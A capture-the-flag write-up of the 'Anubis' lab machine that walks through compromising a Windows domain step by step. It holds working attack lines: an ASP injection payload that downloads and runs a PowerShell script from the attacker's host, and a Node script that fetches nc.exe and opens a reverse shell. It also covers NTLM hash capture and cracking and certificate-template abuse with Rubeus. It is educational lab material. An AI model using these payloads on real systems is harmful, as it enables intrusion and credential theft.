# Anubis

## Webserver Shell

Nmap scan:

```
$ nmap -p- --min-rate 5000 -Pn 10.129.190.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-15 04:21 EDT
Nmap scan report for 10.129.95.208
Host is up (0.024s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
443/tcp   open  https
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
49703/tcp open  unknown
```

### Windcorp -> SSTI

`crackmapexec` can be used to enumerate domain name.

{% code overflow="wrap" %}
```
$ crackmapexec smb 10.129.190.189                                       
[*] completed: 100.00% (1/1)
SMB         10.129.190.189  445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
```
{% endcode %}

Visiting `windcorp.htb` does not show anything though. In this case, we can do a sub-domain enumeration and find something.

```
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.windcorp.htb' --hc=404 -u https://windcorp.htb  
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000001:   200        1007 L   3245 W     46774 Ch    "www"
```

Add the domains to the `/etc/hosts` file, and `www` is visited it shows a typical corporate page:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/Qc9ZilWaeQGIGBXkjXvQ/image.png" alt=""><figcaption></figcaption></figure>

When we fill in the Contact and try to submit, it let's us preview our submission at `preview.asp`.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/bryhWKqRraY4A0Lq3iWe/image.png" alt=""><figcaption></figcaption></figure>

Here's the HTTP request for the `Send` function, which is a GET request to `save.asp`:

```http
GET /save.asp?name=test&email=test%40website.com&subject=test&message=test HTTP/2
Host: www.windcorp.htb
Cookie: ASPSESSIONIDAEDSDSSQ=PAFDFIPAFOLMPNMELMKFNMFL
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.windcorp.htb/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

```

Interesting. Since this is using `asp`, and the output is printed on another screen, we can test some SSTI. I used this payload:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/v5IHE0TmdViJ6sVj6Ie3/image.png" alt=""><figcaption></figcaption></figure>

And this was returned:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/ue0U9ImzaeHQ7K12qcw1/image.png" alt=""><figcaption></figcaption></figure>

This confirms that SSTI is possible on this machine, and that we can use this to gain a reverse shell (if there's no AMSI / AppLocker).

{% code overflow="wrap" %}
```
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/shell.ps1')").StdOut.ReadAll() %>
```
{% endcode %}

Using this, we can get a reverse shell easily.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/wHJOw2DYeq2WOyOSI9Cu/image.png" alt=""><figcaption></figcaption></figure>

## Localadmin Creds

### Cert Rq -> Port Forwarding

Perhaps the first thing we notice is that we are already the SYSTEM user. This is a little early for an Insane machine, so it's probably one of the hosts in the domain. I thought that there would be a flag within the administrator's desktop, but instead I got a certificate:

```
PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                             
----                -------------         ------ ----                                             
-a----        5/24/2021   9:36 PM            989 req.txt

PS C:\Users\Administrator\Desktop> type req.txt
-----BEGIN CERTIFICATE REQUEST-----
MIICoDCCAYgCAQAwWzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ETAPBgNVBAoMCFdpbmRDb3JwMSQwIgYDVQQDDBtzb2Z0d2FyZXBvcnRhbC53aW5k
Y29ycC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCmm0r/hZHC
KsK/BD7OFdL2I9vF8oIeahMS9Lb9sTJEFCTHGxCdhRX+xtisRBvAAFEOuPUUBWKb
BEHIH2bhGEfCenhILl/9RRCuAKL0iuj2nQKrHQ1DzDEVuIkZnTakj3A+AhvTPntL
eEgNf5l33cbOcHIFm3C92/cf2IvjHhaJWb+4a/6PgTlcxBMne5OsR+4hc4YIhLnz
QMoVUqy7wI3VZ2tjSh6SiiPU4+Vg/nvx//YNyEas3mjA/DSZiczsqDvCNM24YZOq
qmVIxlmQCAK4Wso7HMwhaKlue3cu3PpFOv+IJ9alsNWt8xdTtVEipCZwWRPFvGFu
1x55Svs41Kd3AgMBAAGgADANBgkqhkiG9w0BAQsFAAOCAQEAa6x1wRGXcDBiTA+H
JzMHljabY5FyyToLUDAJI17zJLxGgVFUeVxdYe0br9L91is7muhQ8S9s2Ky1iy2P
WW5jit7McPZ68NrmbYwlvNWsF7pcZ7LYVG24V57sIdF/MzoR3DpqO5T/Dm9gNyOt
yKQnmhMIo41l1f2cfFfcqMjpXcwaHix7bClxVobWoll5v2+4XwTPaaNFhtby8A1F
F09NDSp8Z8JMyVGRx2FvGrJ39vIrjlMMKFj6M3GAmdvH+IO/D5B6JCEE3amuxU04
CIHwCI5C04T2KaCN4U6112PDIS0tOuZBj8gdYIsgBYsFDeDtp23g4JsR6SosEiso
4TlwpQ==
-----END CERTIFICATE REQUEST-----
```

We can transfer this back to our machine for analysis using `openssl`.

```
$ openssl req -in req.txt -text -noout      
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a6:9b:4a:ff:85:91:c2:2a:c2:bf:04:3e:ce:15:
                    d2:f6:23:db:c5:f2:82:1e:6a:13:12:f4:b6:fd:b1:
                    32:44:14:24:c7:1b:10:9d:85:15:fe:c6:d8:ac:44:
                    1b:c0:00:51:0e:b8:f5:14:05:62:9b:04:41:c8:1f:
                    66:e1:18:47:c2:7a:78:48:2e:5f:fd:45:10:ae:00:
                    a2:f4:8a:e8:f6:9d:02:ab:1d:0d:43:cc:31:15:b8:
                    89:19:9d:36:a4:8f:70:3e:02:1b:d3:3e:7b:4b:78:
                    48:0d:7f:99:77:dd:c6:ce:70:72:05:9b:70:bd:db:
                    f7:1f:d8:8b:e3:1e:16:89:59:bf:b8:6b:fe:8f:81:
                    39:5c:c4:13:27:7b:93:ac:47:ee:21:73:86:08:84:
                    b9:f3:40:ca:15:52:ac:bb:c0:8d:d5:67:6b:63:4a:
                    1e:92:8a:23:d4:e3:e5:60:fe:7b:f1:ff:f6:0d:c8:
                    46:ac:de:68:c0:fc:34:99:89:cc:ec:a8:3b:c2:34:
                    cd:b8:61:93:aa:aa:65:48:c6:59:90:08:02:b8:5a:
                    ca:3b:1c:cc:21:68:a9:6e:7b:77:2e:dc:fa:45:3a:
                    ff:88:27:d6:a5:b0:d5:ad:f3:17:53:b5:51:22:a4:
                    26:70:59:13:c5:bc:61:6e:d7:1e:79:4a:fb:38:d4:
                    a7:77
                Exponent: 65537 (0x10001)
        Attributes:
            (none)
            Requested Extensions:
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        6b:ac:75:c1:11:97:70:30:62:4c:0f:87:27:33:07:96:36:9b:
        63:91:72:c9:3a:0b:50:30:09:23:5e:f3:24:bc:46:81:51:54:
        79:5c:5d:61:ed:1b:af:d2:fd:d6:2b:3b:9a:e8:50:f1:2f:6c:
        d8:ac:b5:8b:2d:8f:59:6e:63:8a:de:cc:70:f6:7a:f0:da:e6:
        6d:8c:25:bc:d5:ac:17:ba:5c:67:b2:d8:54:6d:b8:57:9e:ec:
        21:d1:7f:33:3a:11:dc:3a:6a:3b:94:ff:0e:6f:60:37:23:ad:
        c8:a4:27:9a:13:08:a3:8d:65:d5:fd:9c:7c:57:dc:a8:c8:e9:
        5d:cc:1a:1e:2c:7b:6c:29:71:56:86:d6:a2:59:79:bf:6f:b8:
        5f:04:cf:69:a3:45:86:d6:f2:f0:0d:45:17:4f:4d:0d:2a:7c:
        67:c2:4c:c9:51:91:c7:61:6f:1a:b2:77:f6:f2:2b:8e:53:0c:
        28:58:fa:33:71:80:99:db:c7:f8:83:bf:0f:90:7a:24:21:04:
        dd:a9:ae:c5:4d:38:08:81:f0:08:8e:42:d3:84:f6:29:a0:8d:
        e1:4e:b5:d7:63:c3:21:2d:2d:3a:e6:41:8f:c8:1d:60:8b:20:
        05:8b:05:0d:e0:ed:a7:6d:e0:e0:9b:11:e9:2a:2c:12:2b:28:
        e1:39:70:a5
```

We can see that it makes requests to a `softwareportal.windcorp.htb` domain. However, when trying to visit it, nothing is loaded. This must mean that the domain is listening within the machine only.

First, let's see if there are any web servers active on the machine itself.

```
PS C:\Windows\System32\Drivers\etc> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Ethernet):

   Connection-specific DNS Suffix  . : .htb
   Link-local IPv6 Address . . . . . : fe80::15ac:75b5:201b:3baf%32
   IPv4 Address. . . . . . . . . . . : 172.25.95.242
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 172.25.80.1

PS C:\Windows\System32\Drivers\etc> curl 172.25.80.1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>
```

The error tells me that there's something present there, so let's do some port forwarding for the machine using `chisel`.

```bash
# on kali
chisel server -p 5555 --reverse
# on Windows
.\chisel.exe client 10.10.14.14:5555 R:socks
```

Afterwards, we can add `softwareportal.windcorp.htb` within our `/etc/hosts` file under `172.25.80.1`, and visit it using our browser (with FoxyProxy Proxychains).

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/r691T4tO6s4womwtpNH3/image.png" alt=""><figcaption></figcaption></figure>

### VNC -> Responder Creds

Within the software present on the page, we can see that there is a VNC service available.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/hwfuoRwMthnb7ZDE2R6K/image.png" alt=""><figcaption></figcaption></figure>

When we click on it, it would show us this page before going back to the main website. The URL also contains another IP address:

{% code overflow="wrap" %}
```
http://softwareportal.windcorp.htb/install.asp?client=172.20.159.137&software=VNC-Viewer-6.20.529-Windows.exe
```
{% endcode %}

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/gQt8xwLIQ2k04KaUJsDh/image.png" alt=""><figcaption></figcaption></figure>

Since VNC is like an RDP software, there might potentially be credentials beign sent in the packets, so I started `wireshark` and also changed the `client` parameter to be my IP address. When the packets are viewed, we can see a lot of failed TCP requests:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/5RhFqVYr1vXdIC8zC9tv/image.png" alt=""><figcaption></figcaption></figure>

This occurs because port 5985 is not open on our machine. So, using this SSRF, we can start `responder` and intercept the request to retrieve any NTLM hashes, which works:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/6pXkZSOauZ7BCjr92QNm/image.png" alt=""><figcaption></figcaption></figure>

We can then crack this hash easily using `john`:

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Secret123        (localadmin)     
1g 0:00:00:00 DONE (2023-05-15 11:38) 1.515g/s 3171Kp/s 3171Kc/s 3171KC/s Smudge2..SaS1993
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Then, we can verify these creds with with SMB:

```
$ crackmapexec smb 10.129.190.189 -u localadmin -p Secret123
  if result['type'] is not 'searchResEntry':
SMB         10.129.190.189  445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB         10.129.190.189  445    EARTH            [+] windcorp.htb\localadmin:Secret123
```

## Diego Shell

### SMB Access

We can enumerate the shares as `localadmin`.

```
$ smbmap -u 'localadmin' -p 'Secret123' -H 10.129.190.189
[+] IP: 10.129.190.189:445      Name: windcorp.htb                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        CertEnroll                                              READ ONLY       Active Directory Certificate Services share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        Shared                                                  READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
```

We can view `Shared` first.

```
$ smbclient  //10.129.190.189/Shared -U 'windcorp.htb/localadmin'
Password for [WINDCORP.HTB\localadmin]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Apr 28 11:06:06 2021
  ..                                  D        0  Wed Apr 28 11:06:06 2021
  Documents                           D        0  Tue Apr 27 00:09:25 2021
  Software                            D        0  Thu Jul 22 14:14:16 2021
```

I got a bit lazy, so I recursively downloaded all of the files from this share.

```
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \Software\7z1900-x64.exe of size 1447178 as Software/7z1900-x64.exe (2355.4 KiloBytes/sec) (average 2355.4 KiloBytes/sec)
getting file \Software\jamovi-1.6.16.0-win64.exe of size 247215343 as Software/jamovi-1.6.16.0-win64.exe (13699.2 KiloBytes/sec) (average 13325.7 KiloBytes/sec)
getting file \Software\VNC-Viewer-6.20.529-Windows.exe of size 10559784 as Software/VNC-Viewer-6.20.529-Windows.exe (13306.2 KiloBytes/sec) (average 13324.9 KiloBytes/sec)
getting file \Documents\Analytics\Big 5.omv of size 6455 as Documents/Analytics/Big 5.omv (191.0 KiloBytes/sec) (average 13302.1 KiloBytes/sec)
getting file \Documents\Analytics\Bugs.omv of size 2897 as Documents/Analytics/Bugs.omv (101.0 KiloBytes/sec) (average 13282.7 KiloBytes/sec)
getting file \Documents\Analytics\Tooth Growth.omv of size 2142 as Documents/Analytics/Tooth Growth.omv (77.5 KiloBytes/sec) (average 13264.1 KiloBytes/sec)
getting file \Documents\Analytics\Whatif.omv of size 2841 as Documents/Analytics/Whatif.omv (106.7 KiloBytes/sec) (average 13246.2 KiloBytes/sec)
```

Here, we can see some `.exe` and `.omv` files, which are associated with Javmovi.

### Javmovi RCE

When researhcing for Jamovi exploits, I came across this:

{% embed url="https://github.com/theart42/cves/blob/master/CVE-2021-28079/CVE-2021-28079.md" %}

The author of the PoC above is also the creator of this box, so I think we need to exploit something similar for this. The intended method is probably to run and install Jamovi on a Windows instance and then perform the XSS, but there are faster methods, such as here:

{% embed url="https://github.com/g33xter/CVE-2021-28079" %}

We can follow this PoC and `unzip` the file, then modify our metadata to include our XSS payload. First, let's craft our JS shell:

```javascript
const exp = require('child_process');
exp.exec("powershell -c wget 10.10.14.14:8000/nc64.exe -outfile C:\\Windows\\Tasks\\nc.exe");
exp.exec("C:\\Windows\\Tasks\\nc.exe -e cmd.exe 10.10.14.14 4444");
```

Then, we can change the `name` parameter to this:

```
<script src=\"http://10.10.14.14/jamovi.js\"></script>
```

Afterwards, re-zip the `Whatif.omv` file together, and host the respective Python HTTP servers. Then, we need to use `smbclient` to delete the old `Whatif.omv` file on the share and replace it with our own.

```
smb: \Documents\Analytics\> del Whatif.omv 
smb: \Documents\Analytics\> put Whatif.omv 
putting file Whatif.omv as \Documents\Analytics\Whatif.omv (130.9 kb/s) (average 130.9 kb/s)
```

Then we just wait. After a while, we would start to get calls on our HTTP servers and get a reverse shell as the user.

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/hZhwxWsIGlaBAVmy7U05/image.png" alt=""><figcaption></figcaption></figure>

We can then grab the user flag.

## Privilege Escalation

### ESC1 Exploit

Earlier, we saw a share about `CertEnroll`, which is a possible exploit path to get an Administrator shell. First, let's use `Certify.exe` to locate any vulnerable templates on the machine.

```
C:\Users\diegocruz\Desktop>.\Certify.exe find
<TRUNCATED>
CA Name                               : earth.windcorp.htb\windcorp-CA
    Template Name                         : Web
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Server Authentication
    mspki-certificate-application-policy  : Server Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
        All Extended Rights         : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
      Object Control Permissions
        Owner                       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
        Full Control Principals     : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteOwner Principals       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteDacl Principals        : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteProperty Principals    : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
```

It seems that the `webdevelopers` group has Full Control over this one template, and makes it vulnerable to some exploits:

{% embed url="https://systemweakness.com/exploiting-cve-2022-26923-by-abusing-active-directory-certificate-services-adcs-a511023e5366" %}

However, we have to note that this template is used for **Server Authentication** instead of **Client Authentication**. This means that we cannot directly request a certificate and use `rubeus` to obtain the NTLM hash of the administrator yet.

We have to either change this or make it such that we can still impersonate the administrator. I couldn't really figure this part out, so I used a writeup that redirected me to this repo:

{% embed url="https://github.com/cfalta/PoshADCS" %}

The repo itself explains the exploit in detail, something I found rather helpful. Basically, we want to create a 'Smart Card' for the user, and allow the certificate to be used for Smart Card authentication. This would allow us to impersonate the user using this new certificate.

```powershell
Get-SmartCardCertificate -Identity Administrator -TemplateName Web -NoSmartCard
```

Afterwards, when we check `Certify.exe`, we can see that the vulnerable template has changed:

```
CA Name                               : earth.windcorp.htb\windcorp-CA
    Template Name                         : Web
    <TRUNCATED>
    pkiextendedkeyusage                   : Server Authentication, Smart Card Logon
    mspki-certificate-application-policy  : Server Authentication, Smart Card Logon
```

Afterwards, we can use `Get-ChildItem` to retrieve the certificate's ID, and `rubeus` to request for the NTLM hash of the administrator:

<pre><code>PS C:\Windows\Tasks> gci cert:\currentuser\my -recurse


   PSParentPath: Microsoft.PowerShell.Security\Certificate::currentuser\my

Thumbprint                                Subject                                                                      
----------                                -------                                                                      
1C7115A30632E82A04A73417975975193492958

<strong>PS C:\Windows\Tasks> .\rubeus.exe asktgt /user:Administrator /getcredentials /certificate:1C7115A30632E82A04A73417975975193492958
</strong><strong>&#x3C;TRUNCATED>
</strong> ServiceName              :  krbtgt/windcorp.htb
  ServiceRealm             :  WINDCORP.HTB
  UserName                 :  Administrator
  UserRealm                :  WINDCORP.HTB
  StartTime                :  1/26/2022 2:02:44 PM
  EndTime                  :  1/27/2022 12:02:44 AM
  RenewTill                :  2/2/2022 2:02:44 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  eFQWOai0Ha57hYJqqDcGUA==
  ASREP (key)              :  B98F843C14877A1B3AF0F77C3A82999E

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 3CCC18280610C6CA3156F995B5899E09
</code></pre>

Then, using this hash, we can easily `psexec.py` in as the administrator and grab the root flag:

<figure><img src="https://content.gitbook.com/content/qpzdj1tPRpELJdvxuVYh/blobs/WZP8hAbfYkucSsEpqLRg/image.png" alt=""><figcaption></figcaption></figure>

This part was pretty hard for me, and I had to use a walkthrough because I couldn't find the right tools to use. Great machine though!
